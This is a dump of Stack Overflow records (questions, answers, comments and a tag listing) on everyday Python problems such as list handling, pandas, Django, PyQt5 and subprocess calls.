has comment: http://stackoverflow.com/comment/84406649
has body: As you know, if you have the folder name, then you can just use os.listdir(folder_name) to "look inside" The only issue in your code is, that you loose the folder name of the current folder you are looking at, since you are overwriting it with the split result: folder = folder.split(' - ') If you save the original folder name, then you can the call os.listdir and perform your actions: for folder_name in os.listdir(directory): folder = folder_name.split(' - ') #print fn if 'infognana' in folder or 'sunriseimaging' in folder or 'mydatasolutions' in folder: continue if folder[0].isdigit() and len(folder[0]) == 5: #do something on os.listdir(os.path.join(directory,folder_name)) print folder
answers question: http://stackoverflow.com/q/48703818
downvote count: 0
has comment: http://stackoverflow.com/comment/84406712
upvote count: 2
type: Answer
score: 2

http://stackoverflow.com/comment/84515562
score: 0
type: Comment
type: QuestionComment
has text: Can you post a few lines of the file? I can't view the link.
comment on: http://stackoverflow.com/q/48757254

http://stackoverflow.com/q/48718801
tagged with: list
has comment: http://stackoverflow.com/comment/84436613
answer count: 0
has title: How to get a set of values from a list so that the order of the set is such that the order in the list is still preserved in the set?
score: 1
tagged with: set
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84436641
linked to: http://stackoverflow.com/q/480214
has body: The list in my actual code is too large. Is there a way to get the desired output. An efficient way will be preferred. Here is my code: import sys def function(): listt=["the","cat","sat","on","the","mat","which","is","on","the","floor"] print (sorted(set(listt))) function() Output:['cat', 'floor', 'is', 'mat', 'on', 'sat', 'the', 'which'] Expected Output:["the","cat","sat","on","mat","which","is","floor"]
duplicate of: http://stackoverflow.com/q/480214
downvote count: 0
favorite count: 0
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84436589

http://stackoverflow.com/comment/84516338
score: 0
type: AnswerComment
has text: Thank you!! This makes sense!
type: Comment
comment on: http://stackoverflow.com/a/48757597

http://stackoverflow.com/comment/84558543
has text: See [Error reporting](https://docs.djangoproject.com/en/2.0/howto/error-reporting/) for getting error reports even with `DEBUG = False`
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/48758955

http://stackoverflow.com/comment/84308453
score: 0
has text: https://stackoverflow.com/questions/773/how-do-i-use-pythons-itertools-groupby
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48655138

http://stackoverflow.com/comment/84441472
comment on: http://stackoverflow.com/q/48721295
score: 2
has text: you are corrupting the file in this line check the correct extension in this line for document . response = HttpResponse(document, content_type='application/vnd.openxmlformats-officedocument.wordprocessingml.document')
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/89584875
score: 0
type: AnswerComment
type: Comment
has text: How do you get the access_token? I don't understand their doc and each time I'm getting close it requires a webpage to be open and confirm the auth.. I would like to do my api to google-drive
comment on: http://stackoverflow.com/a/48738753

http://stackoverflow.com/q/48798577
has answer: http://stackoverflow.com/a/48798609
score: -1
has body: I would like the gender value to be printed out when I print john.gender. How do I do this. What Do I need to edit in my code. class Human: def __init__(self,name,gender,tribe): self.name = name self.gender ={ 0:"Male", 1:"Female" } self.tribe ={ 0:"Germanic", 1:"Egyptian", 2:"Norse" } def saying(self): if self.tribe == 0: print(self.name, "I am from the great Germanic tribes") john = Human("John",0,0) print(john.gender)
answer count: 1
has comment: http://stackoverflow.com/comment/84600137
favorite count: 0
tagged with: python-3.x
type: UnansweredQuestion
tagged with: python
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84599760
upvote count: 0
has title: How do I display the class attribute value python

http://stackoverflow.com/q/48669157
accepted answer: http://stackoverflow.com/a/48669240
has body: What I am having trouble is this: "Total of the elements in the second list: 62" How can I add every element in the "second list"? I got this displayed at the end: (45, 12, 5). That's not what I want. I want the number: 62. This is my first question at stackoverview and I really appreciate the help from all of y'all. sequence = range(5,25,4) first_list = list(sequence) print("First List:", first_list) print("Elements in the first list:") for element in sequence: print (element) sequence_second = range(26,0,-7) second_list = list(sequence_second) print ("Second List: ", second_list) for element in sequence_second: print(element) add = (second_list [0] + sequence_second [1], + sequence_second [2], + sequence_second[3]) print(add)
type: AnsweredQuestion
tagged with: list
has comment: http://stackoverflow.com/comment/84336343
score: 1
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/48669240
answer count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/84336376
tagged with: sequence
favorite count: 0
has comment: http://stackoverflow.com/comment/84340058
has answer: http://stackoverflow.com/a/48669359
has title: How to add my listed numbers together
tagged with: element
possible better answer: http://stackoverflow.com/a/48669283
has answer: http://stackoverflow.com/a/48669283
tagged with: python

http://stackoverflow.com/a/48752829
downvote count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/84506355
type: Answer
has body: You are overcomplicating it. The variable you get from input() is a string. Simply use str.replace(). while True: plaintext = input('enter a word to get its ciphertext') plaintext_rep = plaintext.replace('z','w') print(plaintext_rep)
has comment: http://stackoverflow.com/comment/84506398
answers question: http://stackoverflow.com/q/48752743

http://stackoverflow.com/a/48722033
type: Answer
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/48721836
has comment: http://stackoverflow.com/comment/84443141
answers question: http://stackoverflow.com/q/48721836
has comment: http://stackoverflow.com/comment/84443364
has comment: http://stackoverflow.com/comment/84443018
has comment: http://stackoverflow.com/comment/84443225
type: AcceptedAnswer
downvote count: 0
has body: I think the model you are trying to create should look like: class Product(models.Model): title = models.CharField(max_length=255) quantity = models.IntegerField() description = models.TextField() image_url = models.CharField(max_length=255, validators=[URLValidator()]) def sell(self): self.quantity = self.quantity - 1 self.save() Django takes care of the instantiation, so you don't need the __init__ bit.

http://stackoverflow.com/comment/84600497
has text: It's unclear what your "chunk" reading code it trying to accomplish. For one thing, you need to uncompress the data before creating a `csv.reader` for it (or pass it something that will incrementally read and return whole _rows_ (which are usually whole lines terminated with a newline). To do that with a `.gz` file, you need to use something like the [`gzip` module](https://docs.python.org/3/library/gzip.html#module-gzip),
score: 0
comment on: http://stackoverflow.com/q/48798755
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/84558015
score: 0
type: Comment
type: QuestionComment
has text: Yes its stored exactly like that @jp_data_analysis
comment on: http://stackoverflow.com/q/48778101

http://stackoverflow.com/a/48776756
answers question: http://stackoverflow.com/q/48776564
upvote count: 5
downvote count: 0
score: 5
type: AcceptedAnswer
has body: It all comes down to how you load your data in memory and what type of data it is. If it's numerical data and you use e.g. a numpy array, it's are already stored with a memory layout trivially usable from C or C++ code. It's easy to obtain the address of the block of data (numpy.ndarray.ctypes.data) and pass it to the C++ code through ctypes. You can see a nice example here. Image data is similar in this regard (PIL images are in a simple memory format and the pointer to their data can be obtained easily). If, on the other hand, your data is in regular "native" Python structures (e.g. regular lists or regular objects), the situation is more tricky. You can pass them straight to C++ code, but it's code that must know about Python data structures - so, written especially for this purpose, using python.h and dealing with the non-trivial Python API.
has comment: http://stackoverflow.com/comment/84567330
has comment: http://stackoverflow.com/comment/84567695
accepted answer of: http://stackoverflow.com/q/48776564
type: Answer

http://stackoverflow.com/q/48796317
type: AnsweredQuestion
has body: I am trying to get click events (ultimately left, right and double click) to "pass through" an editor widget to the underlying QListView so that selections can happen. Figured Event Filters were probably the way to go, but I am a little confused as to where the eventFilter(object,event) function and the installEventFilter() call need to go in order for that to happen. In my case, I am using a custom delegate class to draw my data in my QListView and am using an editor to update the model based upon cursor positions. I want this to just be constantly active, so I made my QListView active the editor upon entering an item. dataView=QListView(self) dataView.setGeometry(self.rect()) dataView.setViewMode(1) dataView.setMovement(0) dataView.setSelectionMode(QAbstractItemView.ExtendedSelection) dataView.setMouseTracking(True) dataView.entered.connect(dataView.edit) delegate=CustomDelegate(self) dataModel=QStandardItemModel(self) dataView.setModel(dataModel) dataView.setItemDelegate(delegate) The downside to this is that while your mouse is on an item, it is now covered by the editor widget which I believe is collecting mouse click data thus blocking clicks from selecting the items within the QListView. In my delegate, I have it create the editor as so and connect signals to update my data (frames) in my model to change the way the delegate displays and to close the editor def createEditor(self,parent,option,index): editor=TestEditor(parent) editor.editingFinished.connect(self.deleteEditor) editor.updateFrame.connect(self.updateFrames) return editor Where would I create my event filter? In my main where I am generating my QListView? Within a custom QListView? Within my Delegate? Or within my editor widget? And then where would I call the installEventFilter()?
tagged with: pyqt5
type: Question
accepted answer: http://stackoverflow.com/a/48797725
tagged with: qlistview
has answer: http://stackoverflow.com/a/48797725
has title: PyQt5 allow selection of QListView items while editing
score: 0
tagged with: pyqt
answer count: 1
tagged with: python
tagged with: qitemdelegate

http://stackoverflow.com/comment/84315802
type: Comment
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/48659092
has text: It is possible, but you should clarify more what is it you want - is it a json we are talking about? And have you tried to do it? Which language did you use?

http://stackoverflow.com/q/48709793
has comment: http://stackoverflow.com/comment/84425001
accepted answer: http://stackoverflow.com/a/48710497
type: AnsweredQuestion
tagged with: subprocess
has comment: http://stackoverflow.com/comment/84418653
upvote count: 2
linked to: http://stackoverflow.com/q/46004774
score: 1
linked to: http://stackoverflow.com/q/48567676
has title: system vs call vs popen in Python
has comment: http://stackoverflow.com/comment/84419382
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84419453
has comment: http://stackoverflow.com/comment/84418569
answer count: 2
has answer: http://stackoverflow.com/a/48710497
tagged with: system-calls
possible better answer: http://stackoverflow.com/a/48711063
favorite count: 0
has answer: http://stackoverflow.com/a/48711063
has comment: http://stackoverflow.com/comment/84418798
has comment: http://stackoverflow.com/comment/84419538
has body: cmd = 'touch -d '+date_in+' '+images_dir+'/'+photo_name os.system(cmd) Doesn't work subprocess.call(['touch','-d','{}'.format(date_in),'{}'.format(images_dir+'/'+photo_name)]) Doesn't work subprocess.Popen(['touch','-d','{}'.format(date_in),'{}'.format(images_dir+'/'+photo_name)]) Works! Why? What am I missing in first two cases? pi@raspberrypi:~ $ python --version Python 2.7.13 Actual code snippet: try: response = urllib2.urlopen(url) if(response.getcode() == 200): photo_file = response.read() with open(images_dir+'/'+photo_name,'wb') as output: output.write(photo_file) #cmd = 'touch -d '+date_in+' '+images_dir+'/'+photo_name #subprocess.Popen(['touch','-d','{}'.format(date_in),'{}'.format(images_dir+'/'+photo_name)]) subprocess.check_call(['touch','-d','{}'.format(date_in),'{}'.format(images_dir+'/'+photo_name)]) with open(images_dir+'/captions/'+photo_name+'.txt','wb') as output: output.write(photo_title) else: print 'Download error' except Exception as message: print 'URL open exception {}'.format(message)
tagged with: python
has comment: http://stackoverflow.com/comment/84418658

http://stackoverflow.com/a/48751301
type: Answer
has body: You forgot parens. You want a = numpy.array([[[1,2,3], [4,5,6]], [[6,7,8], [9,10,11]]]) You got the "no attribute '__getitem__'" error because putting square brackets after a symbol means "call this object's __getitem__() method with the stuff inside the brackets", this is what's happening when you do a simple dictionary lookup: &gt;&gt;&gt; a = {1: 2} &gt;&gt;&gt; a[1] 2 &gt;&gt;&gt; a.__getitem__(1) 2
has comment: http://stackoverflow.com/comment/84503041
has comment: http://stackoverflow.com/comment/84503317
score: 2
has comment: http://stackoverflow.com/comment/84503249
answers question: http://stackoverflow.com/q/48751259
has comment: http://stackoverflow.com/comment/84503067
upvote count: 3
downvote count: 1
has comment: http://stackoverflow.com/comment/84503233

http://stackoverflow.com/comment/123896886
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/58767435
type: Comment
has text: Thank you for pointing that out, I had no idea. What if we use the `find_longest_match` on the `SequenceMatcher` instance, like in this example? --> https://www.tutorialspoint.com/sequencematcher-in-python-for-longest-common-substring

opencv
type: Tag
tags question: http://stackoverflow.com/q/48677852
tags question: http://stackoverflow.com/q/48788908
tags question: http://stackoverflow.com/q/48686574
tags question: http://stackoverflow.com/q/48681465
tags question: http://stackoverflow.com/q/48723145
tags question: http://stackoverflow.com/q/48756873
tags question: http://stackoverflow.com/q/48786376
tags question: http://stackoverflow.com/q/48697667
tags question: http://stackoverflow.com/q/48780890
tags question: http://stackoverflow.com/q/48661548
tags question: http://stackoverflow.com/q/48718034
tags question: http://stackoverflow.com/q/48669629
tags question: http://stackoverflow.com/q/48729922
tags question: http://stackoverflow.com/q/48693002
tags question: http://stackoverflow.com/q/48751340
tags question: http://stackoverflow.com/q/48753022
tags question: http://stackoverflow.com/q/48701372
tags question: http://stackoverflow.com/q/48647701
tags question: http://stackoverflow.com/q/48746910
tags question: http://stackoverflow.com/q/48795380
tags question: http://stackoverflow.com/q/48647967
tags question: http://stackoverflow.com/q/48751650
tags question: http://stackoverflow.com/q/48672551
tags question: http://stackoverflow.com/q/48668322
tags question: http://stackoverflow.com/q/48694119
tags question: http://stackoverflow.com/q/48727264
tags question: http://stackoverflow.com/q/48645896
tags question: http://stackoverflow.com/q/48782603
tags question: http://stackoverflow.com/q/48716906
tags question: http://stackoverflow.com/q/48723037
tags question: http://stackoverflow.com/q/48772403
tags question: http://stackoverflow.com/q/48673309
tags question: http://stackoverflow.com/q/48760575
tags question: http://stackoverflow.com/q/48717726
tags question: http://stackoverflow.com/q/48736584
tags question: http://stackoverflow.com/q/48654585
tags question: http://stackoverflow.com/q/48701670
tags question: http://stackoverflow.com/q/48739788
tags question: http://stackoverflow.com/q/48691116
tags question: http://stackoverflow.com/q/48674106
tags question: http://stackoverflow.com/q/48740349
tags question: http://stackoverflow.com/q/48669719
tags question: http://stackoverflow.com/q/48720931
tag name: opencv
tags question: http://stackoverflow.com/q/48689532
tags question: http://stackoverflow.com/q/48768604
tags question: http://stackoverflow.com/q/48719311
tags question: http://stackoverflow.com/q/48759933
tags question: http://stackoverflow.com/q/48692615
tags question: http://stackoverflow.com/q/48684678
tags question: http://stackoverflow.com/q/48773397
tags question: http://stackoverflow.com/q/48698375
tags question: http://stackoverflow.com/q/48756939
tags question: http://stackoverflow.com/q/48794379
tags question: http://stackoverflow.com/q/48658449
tags question: http://stackoverflow.com/q/48722813
tags question: http://stackoverflow.com/q/48790989
tags question: http://stackoverflow.com/q/48736174
tags question: http://stackoverflow.com/q/48735753
tags question: http://stackoverflow.com/q/48760544
tags question: http://stackoverflow.com/q/48719300
tags question: http://stackoverflow.com/q/48757624
tags question: http://stackoverflow.com/q/48717421
tags question: http://stackoverflow.com/q/48700275
tags question: http://stackoverflow.com/q/48772621
tags question: http://stackoverflow.com/q/48664330
tags question: http://stackoverflow.com/q/48683621
tags question: http://stackoverflow.com/q/48748768
tags question: http://stackoverflow.com/q/48693258
tags question: http://stackoverflow.com/q/48673885
tags question: http://stackoverflow.com/q/48786068
tags question: http://stackoverflow.com/q/48727914
tags question: http://stackoverflow.com/q/48660588
tags question: http://stackoverflow.com/q/48673104
tags question: http://stackoverflow.com/q/48741653
tags question: http://stackoverflow.com/q/48657765
tags question: http://stackoverflow.com/q/48693266
tags question: http://stackoverflow.com/q/48648250
tags question: http://stackoverflow.com/q/48677185

http://stackoverflow.com/comment/84681133
comment on: http://stackoverflow.com/q/48794621
type: Comment
has text: @John Zwinck It should be an int.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/84552010
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48774813
has text: I edited in the question

http://stackoverflow.com/comment/84662974
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48826446
type: Comment
has text: I must have failed to comied that line of code in because I am doing that but it is not being saved into the `Profile` model

http://stackoverflow.com/a/48703222
answers question: http://stackoverflow.com/q/48676514
accepted answer of: http://stackoverflow.com/q/48676514
type: AcceptedAnswer
score: 0
has body: I found the solution. It turns out, I was looking in the wrong place. It seems the user account was set up wrongly. I tried to do something simpler, like downloading a webpage into the server. And I noticed that it was downloading the page, but had no permissions to fix it. So I explored a bit more and found that when the user account was created, it was not assigned proper ownership. So, once I assigned the proper owner to the user account, the proxy error was gone. (Sigh, so much time wasted.) I have written about it in more detail here.
type: Answer

http://stackoverflow.com/a/48801294
downvote count: 0
score: 1
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/48801176
has body: Take a look at the Search API, you can search for Pages by name: https://developers.facebook.com/docs/graph-api/using-graph-api#search

http://stackoverflow.com/comment/84539753
score: 3
has text: @AmmarMohammed That is the sum of the digits; not the sum of the numbers as you say in the question.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48769342

http://stackoverflow.com/comment/84386117
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48691885
has text: Use `print(*set(a), sep=", ") ` then.

http://stackoverflow.com/a/76447646
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/48647122
score: 1
upvote count: 1
has body: Well sometimes, this error is bound to occur if we have empty cells in the Excel sheet, that is null values in terms of the Pandas data frame, and for that purpose, we can have the following approach which worked for me. import pandas as pd import openpyxl # Load Excel file using openpyxl wb = openpyxl.load_workbook('excel_sheet_name.xlsx') sheet = wb.active # Create an empty DataFrame data = [] # Iterate over the rows in the sheet for row in sheet.iter_rows(values_only=True): data.append(row) # Convert to DataFrame excel_file = pd.DataFrame(data)

http://stackoverflow.com/comment/84476179
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48737130
score: 0
has text: This would be a better question if you'd tried to isolate the immediate problem. It doesn't need to be about a "guessing game" -- it just needs to be about "why doesn't my number from `input()` match my hardcoded one?".

http://stackoverflow.com/comment/108271842
type: AnswerComment
type: Comment
score: 1
has text: Wow, that looks powerful
comment on: http://stackoverflow.com/a/54460627

http://stackoverflow.com/q/48790829
score: 0
has comment: http://stackoverflow.com/comment/84597713
tagged with: pandas
tagged with: python
answer count: 0
type: UnansweredQuestion
tagged with: pickle
has title: Python Pool EOFError:
tagged with: dataframe
has body: I am using python pool to multiprocess a function in which a panda data frame is read and store using 'pd.pickle'. when number of item in my list to be processed get more than 10 I got the following error: /usr/lib64/python2.7/multiprocessing/pool.pyc in get(self, timeout) 552 return self._value 553 else: --&gt; 554 raise self._value 555 556 def _set(self, i, obj): EOFError: here some more information maybe useful: in my_function(): df = pd.read_pickle('df.pkl') . . . . df.to_pickle('df.pkl') for multi processing: pool = Pool(processes=30) pool.map(my_function, lst[1:10]) pool.close() pool.join() if I use lst[1:40] then I got the mentioned error. could any one help with the reason behind?
has comment: http://stackoverflow.com/comment/84583850
type: Question
tagged with: pool
has comment: http://stackoverflow.com/comment/84620075
has comment: http://stackoverflow.com/comment/84613046
has comment: http://stackoverflow.com/comment/84621770
has comment: http://stackoverflow.com/comment/84583867

http://stackoverflow.com/q/48699854
has answer: http://stackoverflow.com/a/48699970
accepted answer: http://stackoverflow.com/a/48699970
upvote count: 1
type: Question
has title: Random Module Issue
has comment: http://stackoverflow.com/comment/84398294
has comment: http://stackoverflow.com/comment/84399259
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/84398247
tagged with: python
has body: I am starting off with Python Programming and was trying to work on a homework activity. import random Health = 50 Difficulty = 1 PotionHealth = random.randint(25,50) CurrentHealth = Health + PotionHealth print(CurrentHealth) The answer that I am getting is 197. Shouldn't the max value of CurrentHealth be 100? Have got a lot of values more than 100. What am I doing wrong?
downvote count: 6
type: AnsweredQuestion
score: -5

http://stackoverflow.com/q/48765997
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/48766658
has answer: http://stackoverflow.com/a/48766589
has title: I am copying one list to another in python. After that I am making a change in the second list
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84532224
has answer: http://stackoverflow.com/a/48766185
has body: x = [[7, 8], 3, "hello", [6, 8], "world", 17] # List 1 w = list.copy(x) # copying list 1 to list 2 w[0][1] = 5 # changing the value in list 2 print(w) print(x) Output: [[7, 5], 3, 'hello', [6, 8], 'world', 17] [[7, 5], 3, 'hello', [6, 8], 'world', 17] Changes to w are affecting x too.
linked to: http://stackoverflow.com/q/17246693
has comment: http://stackoverflow.com/comment/84532155
type: Question
has comment: http://stackoverflow.com/comment/84532378

http://stackoverflow.com/comment/84610342
type: QuestionComment
comment on: http://stackoverflow.com/q/48802410
score: 1
has text: A parser is not required to maintain local 'formatting;. Equally valid ways to write that tag are `< MY_TAG />` and even `< MY_TAG / >` ...
type: Comment

http://stackoverflow.com/q/48674676
has comment: http://stackoverflow.com/comment/84348127
has body: Here is what I am trying: import re r = re.compile(r'(?P&lt;label&gt;(?:[^_]+)+)(_r(?P&lt;repeat_num&gt;\d+))?') def main(): s1 = 'abc_123' s2 = 'abc_123_r1' m1 = r.match(s1) m2 = r.match(s2) print(m1.groups()) print(m2.groups()) if __name__ == "__main__": main() I am expecting the first string s1 to match abc_123 for the label group and nothing for repeat_num. And I am expecting the second string s2 to match abc_123 for the label group and '1' for repeat_num. The actual result stops at abc in both cases.
has answer: http://stackoverflow.com/a/48674847
type: Question
has title: What am I doing wrong with this Python regex that is supposed to match repeats of a pattern, followed by an optional pattern?
answer count: 2
has comment: http://stackoverflow.com/comment/84355008
has comment: http://stackoverflow.com/comment/84347843
has comment: http://stackoverflow.com/comment/84348043
score: 0
tagged with: regex
has comment: http://stackoverflow.com/comment/84355107
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/48674912
has comment: http://stackoverflow.com/comment/84355071

http://stackoverflow.com/comment/84552981
comment on: http://stackoverflow.com/q/48775531
has text: hahaha well its the same name actually
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84421756
has text: Currently When I do `A = A[:B.shape[0],:]` where `A = new_labels_np_array` `B = time_based_mfcc_feature` IndexError: too many indices for array` Please see update in question. thanks you.
comment on: http://stackoverflow.com/a/48692193
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/84569477
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48783898
has text: I have to modify the records in the .CSV file.

http://stackoverflow.com/comment/84444857
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48723037
has text: Seemingly your tuple `profile` contains less than three elements. Python indexing starts at 0, not 1.

http://stackoverflow.com/comment/84372144
type: Comment
comment on: http://stackoverflow.com/a/48672357
score: 0
type: AnswerComment
has text: I put in the code that you put before but I get this error: pygame.error: video system not initialized

http://stackoverflow.com/comment/84404726
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48687549
has text: For determining which ones work best for you, you need to try different combinations. The process is called hyperparameter tuning and there are programs out there to help you.

http://stackoverflow.com/a/48791994
answers question: http://stackoverflow.com/q/48791743
type: AcceptedAnswer
downvote count: 0
has body: If you're working in a Git repository, git check-ignore does what you need: $ echo "foo.pyc" | git check-ignore --stdin --no-index foo.pyc $ echo "foo.py" | git check-ignore --stdin --no-index Otherwise, you will need to use a library that implements Git's pattern matching format. One such library is pathspec. Read the documentation for a usage example.
type: Answer
score: 4
accepted answer of: http://stackoverflow.com/q/48791743
upvote count: 4

http://stackoverflow.com/q/48729001
downvote count: 0
accepted answer: http://stackoverflow.com/a/48729015
has comment: http://stackoverflow.com/comment/84457427
has comment: http://stackoverflow.com/comment/84457384
favorite count: 0
tagged with: data-analysis
has title: Getting non null latest value in python pandas dataframe
tagged with: pandas
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48729015
possible better answer: http://stackoverflow.com/a/48729009
type: Question
has body: I want to get the latest non null value across all the variables. For example, in this data set, we have 3 service dates. import pandas as pd df =pd.DataFrame( {'PatientID': [1, 1, 1], 'Date': ['01/01/2018', '01/15/2018','01/20/2018'], 'Height': ['Null', '178', 'Null'], 'Weight': ['Null', '182', '190'], 'O2 Level': ['95', '99', '92'], 'BPS': ['120', 'Null', 'Null'], 'DPS': ['80', 'Null', 'Null']}) Example Dataset As an output I need something like this: df = pd.DataFrame( {'PatientID': [1], 'Height': ['178'], 'Weight': ['190'], 'O2 Level': ['92'], 'BPS': ['120'], 'DPS': ['80']}) Expected Output My original data set has thousands of patients and 100+ covariates. Currently I am using a triple loop to achieve this task, which is very inefficient. I am looking for more efficient solutions.
has answer: http://stackoverflow.com/a/48729009
upvote count: 5
answer count: 2
score: 5

http://stackoverflow.com/q/48677856
upvote count: 3
type: Question
accepted answer: http://stackoverflow.com/a/48677994
has body: I am trying to merge multiple CSV file into one CSV file. The CSV files are like Energy_and_Power_Day1.csv, Energy_and_Power_Day2.csv, Energy_and_Power_Day3.csv, ....................., Energy_and_Power_Day31.csv I have used a small python script to concatenate the multiple CSV file.The script is doing it's job but it is not concatenate the files in serial manner. It should take Energy_and_Power_Day1.csv then Energy_and_Power_Day2.csv then Energy_and_Power_Day3.csv like this way.. but instead of this it takes randomly not in serially. This is my code import pandas as pd import csv import glob import os os.chdir("/home/mayukh/Downloads/Northam_bill_data") results = pd.DataFrame([]) filelist = glob.glob("Energy_and_Power_Day*.csv") #dfList=[] for filename in filelist: print(filename) namedf = pd.read_csv(filename, skiprows=0, index_col=0) results = results.append(namedf) results.to_csv('Combinefile.csv') The script is giving this output from print(filename) and combine these csv files in this manner. Energy_and_Power_Day1.csv Energy_and_Power_Day16.csv Energy_and_Power_Day23.csv Energy_and_Power_Day22.csv Energy_and_Power_Day11.csv Energy_and_Power_Day21.csv Energy_and_Power_Day31.csv Energy_and_Power_Day17.csv Energy_and_Power_Day25.csv Energy_and_Power_Day28.csv Energy_and_Power_Day9.csv Energy_and_Power_Day19.csv Energy_and_Power_Day7.csv Energy_and_Power_Day15.csv Energy_and_Power_Day20.csv Energy_and_Power_Day24.csv Energy_and_Power_Day4.csv Energy_and_Power_Day6.csv Energy_and_Power_Day14.csv Energy_and_Power_Day13.csv Energy_and_Power_Day27.csv Energy_and_Power_Day3.csv Energy_and_Power_Day18.csv Energy_and_Power_Day8.csv Energy_and_Power_Day30.csv Energy_and_Power_Day12.csv Energy_and_Power_Day29.csv Energy_and_Power_Day10.csv Energy_and_Power_Day5.csv Energy_and_Power_Day2.csv Energy_and_Power_Day26.csv My question is how or which way I can combine those CSV files serially?
tagged with: pandas
score: 3
answer count: 1
downvote count: 0
favorite count: 0
tagged with: python-3.x
has title: How to combine multiple csv into one file in serial manner using python?
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48677994

http://stackoverflow.com/comment/84603783
score: 0
comment on: http://stackoverflow.com/q/48789745
type: Comment
type: QuestionComment
has text: @Code-Apprentice You asked why static method. It is clear. In my situation deserialize method is not associated to any instance. It doesn't need an instance to do it's behavior. It is class level method.

http://stackoverflow.com/q/48665042
type: Question
upvote count: 2
accepted answer: http://stackoverflow.com/a/48665112
tagged with: pandas
answer count: 1
favorite count: 0
has title: How to create a python dataframe containing the mean of some rows of another dataframe
has answer: http://stackoverflow.com/a/48665112
tagged with: python
type: AnsweredQuestion
score: 2
downvote count: 0
has body: I have a pandas DataFrame containing some values: id pair value subdir taylor_1e3c_1s_56C taylor 6_13 -0.398716 run1 taylor_1e3c_1s_56C taylor 6_13 -0.397820 run2 taylor_1e3c_1s_56C taylor 6_13 -0.397310 run3 taylor_1e3c_1s_56C taylor 6_13 -0.390520 run4 taylor_1e3c_1s_56C taylor 6_13 -0.377390 run5 taylor_1e3c_1s_56C taylor 8_11 -0.393604 run1 taylor_1e3c_1s_56C taylor 8_11 -0.392899 run2 taylor_1e3c_1s_56C taylor 8_11 -0.392473 run3 taylor_1e3c_1s_56C taylor 8_11 -0.389959 run4 taylor_1e3c_1s_56C taylor 8_11 -0.387946 run5 what I would like to do is to isolate the rows that have the same index, id, and pair, compute the mean over the value column, and put it all in a new dataframe. Because I have now effectively averaged over all the possible values of subdir, that column should also be removed. So the output should look something like this id pair value taylor_1e3c_1s_56C taylor 6_13 -0.392351 taylor_1e3c_1s_56C taylor 8_11 -0.391376 How should I do it in pandas?

http://stackoverflow.com/a/51724431
type: Answer
score: 3
answers question: http://stackoverflow.com/q/48795950
has body: I solved this issue by changing one parameter in my original configuration slightly: ... train_config: { fine_tune_checkpoint: "C:/some_path/model.ckpt" batch_size: 1 sync_replicas: true startup_delay_steps: 0 replicas_to_aggregate: 8 num_steps: 25000 ... } ... Changing the parameter replicas_to_aggregate: 1, or setting sync_replicas: false both solves the problem for me, since I was training only on one graphics card and did not have any replicas (as you would have when training on TPU).
downvote count: 0
upvote count: 3

http://stackoverflow.com/comment/84452723
has text: jezrael's answer below looks good; unless you really wanted `'true'`/`'false'` strings instead of actual `True`/`False` boolean values... in which case `exam_data['qualify'] = exam_data['qualify'].replace({'yes':'true', 'no':'false'})`
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48719161

http://stackoverflow.com/comment/84490027
score: 0
comment on: http://stackoverflow.com/a/48723013
type: AnswerComment
type: Comment
has text: Try copying the script again... I'd left `xxx` in the filename for my testing

http://stackoverflow.com/comment/84582719
type: QuestionComment
score: 0
has text: @OmarEinea My first instinct was to say `variable` *is* ”static”, but of course only `Game.variable` not the `variable` attribute on the instances that gets created by `+=`. :-)
comment on: http://stackoverflow.com/q/48790298
type: Comment

http://stackoverflow.com/comment/84554141
type: Comment
comment on: http://stackoverflow.com/a/48771083
type: AnswerComment
has text: thank you! Sorry for disturbing you again... One clarification, how do I modify the code I want to change the last entry of a column based on the difference between the last entry and 5, I tried this a[-1][np.any(a <= 3, axis=0)] = np.maximum(a[-1], 5) but it a[-1][np.any(a <= 3, axis=0)] = np.maximum(a[-1], 5)
score: 0

http://stackoverflow.com/a/48705958
upvote count: 2
answers question: http://stackoverflow.com/q/48703689
has body: A bit more human readable solution. Here is just the main dictionary part. The point I want to illustrate is that, even with simple recursion, some generic solution can be achieved. However, for the sub-total, it requires some additional operation which is not covered yet in this solution. from functools import reduce import collections # function to convert a list/tuple to dictionary tree def totree(keys, value): if len(keys) == 1: return {keys[0]: value} else: return {keys[0]: totree(keys[1:], value)} # function to update nested dictionary def update(d, u): for k, v in u.items(): if isinstance(v, collections.Mapping): d[k] = update(d.get(k, {}), v) else: d[k] = v return d # the expected dictionary is saved to d d = reduce(lambda d1, d2: update(d1, d2), map(lambda sub:totree(*sub), x))) print(d)
type: Answer
